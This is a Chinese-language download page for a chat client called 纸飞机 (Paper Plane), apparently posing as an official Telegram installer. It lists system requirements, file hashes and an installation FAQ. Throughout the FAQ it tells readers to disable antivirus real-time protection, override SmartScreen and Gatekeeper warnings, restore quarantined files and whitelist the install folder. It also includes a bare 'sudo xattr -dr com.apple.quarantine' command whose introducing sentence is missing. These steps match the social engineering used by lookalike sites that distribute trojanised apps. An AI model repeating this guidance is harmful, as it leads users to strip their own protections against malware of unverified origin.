下载安装包
在上方选择你的系统，点击下载按钮，保存安装包到本地磁盘。
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快速上手
安装与启动三步曲
从下载到开始聊天，整个过程不超过一分钟。
运行安装程序
双击安装包，按提示完成安装。Windows 若弹出安全提示，选择「更多信息 → 仍要运行」。
登录并开始使用
打开客户端，输入手机号接收验证码即可登录，历史聊天记录自动同步。
提示：安装前请先关闭可能拦截未知程序的「安全软件实时防护」，
安装完成后再重新开启。纸飞机安装包不含任何捆绑软件与广告插件。
安全与兼容
系统要求与安装包校验
下载前请确认设备满足最低配置，并建议校验安装包完整性。
Windows 系统要求
其他平台的要求可在对应标签页中查看，整体配置需求相近。
| 项目 | 最低要求 | 推荐配置 |
|---|---|---|
| 操作系统 | Windows 10 1809 | Windows 11 22H2+ |
| 处理器 | 1 GHz 双核 | 2 GHz 四核及以上 |
| 内存 | 2 GB RAM | 4 GB RAM 及以上 |
| 磁盘空间 | 500 MB 可用 | 1 GB 可用（含缓存） |
| 网络 | 512 Kbps | 2 Mbps 及以上 |
| 架构 | 64 位（x64） | 64 位（x64 / ARM64） |
安装包安全校验
Windows v12.4.0 · 下载后可比对以下指纹信息
SHA-256
a3f5c81d47b29e0f6c2d8a1b95e34f7c0d6b2a8e1f93c4d70b5a8e26f1c93d84
SHA-1
7d2e9a4c1f8b3d6e0a5c72b9f4e1d8c3a6b0f27e
签名机构
DigiCert Trusted G4 Code Signing
签名者
Paper Plane Ltd.
所有客户端代码基于 GPL v3 开源，加密协议公开可审计。
如校验结果不一致，请勿安装并立即联系官方客服。
常见问题
安装报错与拦截处理
90% 的安装问题都能在这里找到答案。
Windows 提示「Windows 已保护你的电脑」怎么办？
这是 Windows SmartScreen 对较少下载量的新程序的标准提示，并非病毒警告。解决方法：
- 点击提示框中的「更多信息」
- 点击下方出现的「仍要运行」按钮
- 安装完成后，SmartScreen 会记录该程序为可信
macOS 提示「无法打开，因为无法验证开发者」？
这是 macOS 的 Gatekeeper 安全机制。请按以下步骤操作：
- 打开「系统设置」→「隐私与安全性」
- 在「安全性」区域找到被拦截的提示，点击「仍要打开」
- 再次双击应用，在弹窗中确认「打开」
sudo xattr -dr com.apple.quarantine /Applications/Telegram.app 后重试。
安装包被 360 / 火绒等安全软件拦截或删除？
部分安全软件会对未在白名单中的新版本产生误报。建议：
- 临时关闭安全软件的「实时防护」后再下载和安装
- 若文件已被隔离，前往隔离区恢复并添加信任
- 安装完成后，将安装目录加入安全软件白名单，再重新开启防护
安装进度卡住或提示「写入文件失败」？
通常由权限不足或残留文件冲突导致，可尝试：
- 右键安装包 →「以管理员身份运行」
- 关闭正在运行的旧版本客户端，并在任务管理器中结束相关进程
- 清理旧版本残留目录后重新安装
- 确认磁盘剩余空间大于 1 GB，且安装路径不含特殊字符
Android 提示「禁止安装未知来源应用」？
这是 Android 对非应用商店来源安装包的保护机制。解决方法：
- 进入「设置」→「应用」→「特殊应用权限」→「安装未知应用」
- 找到你正在使用的浏览器或文件管理器，允许其安装应用
- 返回并重新点击 APK 文件完成安装
如何验证下载的安装包没有被篡改？
下载完成后，可通过校验工具比对文件哈希值：
- Windows：在 PowerShell 中执行
Get-FileHash 文件名 -Algorithm SHA256 - macOS / Linux：在终端执行
shasum -a 256 文件名
安装后无法启动，界面一片空白？
常见原因包括显卡驱动过旧、系统缺少运行库或代理配置异常。建议：
- 更新显卡驱动至最新版本
- Windows 用户安装最新的 Visual C++ 运行库
- 尝试在设置中关闭「硬件加速」
- 检查系统代理设置是否正确，或临时切换网络环境后重试